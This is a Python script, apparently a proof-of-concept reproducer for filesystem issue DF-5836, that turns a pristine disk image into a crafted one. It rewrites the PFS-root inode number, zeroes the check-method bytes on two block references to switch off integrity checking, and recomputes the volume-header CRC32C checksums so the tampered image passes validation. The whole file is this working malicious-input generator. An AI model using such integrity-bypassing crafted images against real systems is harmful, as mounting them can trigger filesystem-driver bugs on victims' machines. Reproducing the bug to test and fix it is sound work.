DF-5836 / craft_image.py
#!/usr/bin/env python3 """ DF-5836 crafted-image patcher (final, self-verifying). Input : pristine image (h2.orig.img) with origfile at inum 1024 Output: image whose TESTFS PFS-root meta.pfs_inum = 1023, check-codes disabled on the two modified parent links, all three volume-header CRC32Cs recomputed. """ import struct, sys POLY = 0x82F63B78; T = [] for i in range(256): c = i for _ in range(8): c = (c >> 1) ^ POLY if c & 1 else c >> 1 T.append(c) def crc32c(d): crc = 0xFFFFFFFF for b in d: crc = (crc >> 8) ^ T[(crc ^ b) & 0xFF] return crc ^ 0xFFFFFFFF assert crc32c(b"123456789") == 0xE3069283 src, dst = sys.argv[1], sys.argv[2] IMG = bytearray(open(src, "rb").read()) IROOT = 0x8800c00 # TESTFS PFS-root inode block (verified earlier) SUPER = 0x8801000 # superroot inode block SR_METHODS_VH = 0x200 + 1 # volheader.sroot_blockset.blockref[0].methods SR_METHODS_BLK = SUPER + 0x100 + 2 * 128 + 1 # superroot.u.blockset.blockref[2].methods # sanity: pristine state assert struct.unpack("<Q", IMG[IROOT+0x88:IROOT+0x90])[0] == 1026 assert IMG[SR_METHODS_VH] != 0 and IMG[SR_METHODS_BLK] != 0 IMG[IROOT+0x88:IROOT+0x90] = struct.pack("<Q", 1023) # pfs_inum IMG[SR_METHODS_VH] = 0x00 # disable check on superroot link (volheader copy) IMG[SR_METHODS_BLK] = 0x00 # disable check on iroot link (superroot data) def w32(off, v): IMG[off:off+4] = struct.pack("<I", v) def u32(off): return struct.unpack("<I", IMG[off:off+4])[0] w32(0x1F8, crc32c(IMG[0x200:0x400])) # icrc_sects[6] w32(0x1FC, crc32c(IMG[0x000:0x1FC])) # icrc_sects[7] w32(0xFFFC, crc32c(IMG[0x000:0xFFFC])) # icrc_volheader (LAST 4 bytes of 64KB) assert u32(0x1F8) == crc32c(IMG[0x200:0x400]) assert u32(0x1FC) == crc32c(IMG[0x000:0x1FC]) assert u32(0xFFFC) == crc32c(IMG[0x000:0xFFFC]) # volu_loff untouched assert IMG[0xFF0:0x1000] == b"\xff" * 16, "volu_loff clobbered" open(dst, "wb").write(IMG) chk = open(dst, "rb").read(0x10000) assert struct.unpack("<I", chk[0x1F8:0x1FC])[0] == crc32c(chk[0x200:0x400]) assert struct.unpack("<I", chk[0x1FC:0x200])[0] == crc32c(chk[0x000:0x1FC]) assert struct.unpack("<I", chk[0xFFFC:0x10000])[0] == crc32c(chk[0x000:0xFFFC]) print("patched OK: pfs_inum=1023, methods=00/00, CRCs verified; vh=%08x" % u32(0xFFFC)) |